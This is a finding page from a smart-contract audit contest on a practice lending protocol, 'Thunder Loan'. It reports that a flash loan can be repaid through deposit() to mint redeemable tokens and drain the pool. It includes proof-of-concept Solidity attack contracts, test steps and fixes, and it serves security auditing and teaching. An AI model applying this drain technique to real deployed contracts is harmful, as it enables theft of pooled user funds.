Thunder Loan

AI First Flight #7
Beginner FriendlyFoundryDeFiOracle
EXP
View results
Submission Details
Severity: high
Valid

A flash loan can be repaid with deposit() instead of repay(), minting the borrower AssetTokens they redeem afterward to drain the pool

Description

flashloan() verifies repayment purely by comparing the AssetToken's token balance before and after the borrower's callback:

uint256 startingBalance = IERC20(token).balanceOf(address(assetToken));
...
assetToken.transferUnderlyingTo(receiverAddress, amount); // send the loan out
receiverAddress.functionCall(abi.encodeWithSignature("executeOperation(...)", ...)); // borrower callback
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance);
}

The intended repayment path is repay(), which is guarded by s_currentlyFlashLoaning. But deposit() also moves the token INTO the same AssetToken (safeTransferFrom(msg.sender, address(assetToken), amount)), and deposit is NOT blocked during a flash loan. So inside executeOperation a borrower can call deposit(token, amount + fee) instead of repay. That restores the balance and satisfies the endingBalance >= startingBalance + fee check exactly like a repayment — but unlike repay, deposit also mints the borrower AssetTokens representing that liquidity.

Once the flash-loan transaction completes, the borrower calls redeem() on those AssetTokens and withdraws the underlying again. Net effect: the borrower fronts only the small fee, keeps the entire flash-loaned amount, and the pool is drained by amount.

Risk

Impact: High. Direct theft of pool liquidity. A flash loan is converted into a permanent withdrawal by "repaying" through deposit and later redeeming the minted AssetTokens.

Likelihood: High. Any user can take a flash loan and route repayment through deposit; there are no special preconditions.

Proof of Concept

// Attacker's IFlashLoanReceiver.executeOperation:
function executeOperation(address token, uint256 amount, uint256 fee, address, bytes calldata)
external returns (bool)
{
// "repay" by DEPOSITING (mints us AssetTokens) instead of calling repay()
IERC20(token).approve(address(thunderLoan), amount + fee);
thunderLoan.deposit(IERC20(token), amount + fee); // balance restored + we receive AssetTokens
return true;
}
function test_flashloanStolenViaDeposit() public {
uint256 poolBefore = token.balanceOf(address(assetToken));
// 1) take the flash loan; the callback above "repays" via deposit
thunderLoan.flashloan(address(attacker), token, amount, "");
// 2) after the tx, redeem the AssetTokens the deposit minted us
vm.prank(address(attacker));
thunderLoan.redeem(token, type(uint256).max);
// EXPECTED: a flash loan nets the pool a fee and leaves principal intact.
// ACTUAL: the attacker kept `amount`; the pool is short by ~amount.
assertGe(token.balanceOf(address(attacker)), amount);
assertLt(token.balanceOf(address(assetToken)), poolBefore);
}

Expected: after the flash loan, the pool holds its principal plus the fee. Actual: the borrower withdrew the loaned amount for good and the pool is drained.

Recommended Mitigation

Do not let deposits (or any other balance-increasing entry point) count as flash-loan repayment. The simplest fix blocks deposit while a flash loan for that token is in progress and forces repayment through repay():

error ThunderLoan__CurrentlyFlashLoaning();
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
if (s_currentlyFlashLoaning[token]) revert ThunderLoan__CurrentlyFlashLoaning();
...
}

More robustly, track the repaid amount explicitly (a variable set only inside repay) and require it to cover amount + fee, instead of inferring repayment from the raw AssetToken balance — which any transfer-in can satisfy.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 1 hour ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-04] All the funds can be stolen if the flash loan is returned using deposit()

## Description An attacker can acquire a flash loan and deposit funds directly into the contract using the **`deposit()`**, enabling stealing all the funds. ## Vulnerability Details The **`flashloan()`** performs a crucial balance check to ensure that the ending balance, after the flash loan, exceeds the initial balance, accounting for any borrower fees. This verification is achieved by comparing **`endingBalance`** with **`startingBalance + fee`**. However, a vulnerability emerges when calculating endingBalance using **`token.balanceOf(address(assetToken))`**. Exploiting this vulnerability, an attacker can return the flash loan using the **`deposit()`** instead of **`repay()`**. This action allows the attacker to mint **`AssetToken`** and subsequently redeem it using **`redeem()`**. What makes this possible is the apparent increase in the Asset contract's balance, even though it resulted from the use of the incorrect function. Consequently, the flash loan doesn't trigger a revert. ## POC To execute the test successfully, please complete the following steps: 1. Place the **`attack.sol`** file within the mocks folder. 1. Import the contract in **`ThunderLoanTest.t.sol`**. 1. Add **`testattack()`** function in **`ThunderLoanTest.t.sol`**. 1. Change the **`setUp()`** function in **`ThunderLoanTest.t.sol`**. ```Solidity import { Attack } from "../mocks/attack.sol"; ``` ```Solidity function testattack() public setAllowedToken hasDeposits { uint256 amountToBorrow = AMOUNT * 10; vm.startPrank(user); tokenA.mint(address(attack), AMOUNT); thunderLoan.flashloan(address(attack), tokenA, amountToBorrow, ""); attack.sendAssetToken(address(thunderLoan.getAssetFromToken(tokenA))); thunderLoan.redeem(tokenA, type(uint256).max); vm.stopPrank(); assertLt(tokenA.balanceOf(address(thunderLoan.getAssetFromToken(tokenA))), DEPOSIT_AMOUNT); } ``` ```Solidity function setUp() public override { super.setUp(); vm.prank(user); mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan)); vm.prank(user); attack = new Attack(address(thunderLoan)); } ``` attack.sol ```Solidity // SPDX-License-Identifier: MIT pragma solidity 0.8.20; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol"; interface IThunderLoan { function repay(address token, uint256 amount) external; function deposit(IERC20 token, uint256 amount) external; function getAssetFromToken(IERC20 token) external; } contract Attack { error MockFlashLoanReceiver__onlyOwner(); error MockFlashLoanReceiver__onlyThunderLoan(); using SafeERC20 for IERC20; address s_owner; address s_thunderLoan; uint256 s_balanceDuringFlashLoan; uint256 s_balanceAfterFlashLoan; constructor(address thunderLoan) { s_owner = msg.sender; s_thunderLoan = thunderLoan; s_balanceDuringFlashLoan = 0; } function executeOperation( address token, uint256 amount, uint256 fee, address initiator, bytes calldata /* params */ ) external returns (bool) { s_balanceDuringFlashLoan = IERC20(token).balanceOf(address(this)); if (initiator != s_owner) { revert MockFlashLoanReceiver__onlyOwner(); } if (msg.sender != s_thunderLoan) { revert MockFlashLoanReceiver__onlyThunderLoan(); } IERC20(token).approve(s_thunderLoan, amount + fee); IThunderLoan(s_thunderLoan).deposit(IERC20(token), amount + fee); s_balanceAfterFlashLoan = IERC20(token).balanceOf(address(this)); return true; } function getbalanceDuring() external view returns (uint256) { return s_balanceDuringFlashLoan; } function getBalanceAfter() external view returns (uint256) { return s_balanceAfterFlashLoan; } function sendAssetToken(address assetToken) public { IERC20(assetToken).transfer(msg.sender, IERC20(assetToken).balanceOf(address(this))); } } ``` Notice that the **`assetLt()`** checks whether the balance of the AssetToken contract is less than the **`DEPOSIT_AMOUNT`**, which represents the initial balance. The contract balance should never decrease after a flash loan, it should always be higher. ## Impact All the funds of the AssetContract can be stolen. ## Recommendations Add a check in **`deposit()`** to make it impossible to use it in the same block of the flash loan. For example registring the block.number in a variable in **`flashloan()`** and checking it in **`deposit()`**.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!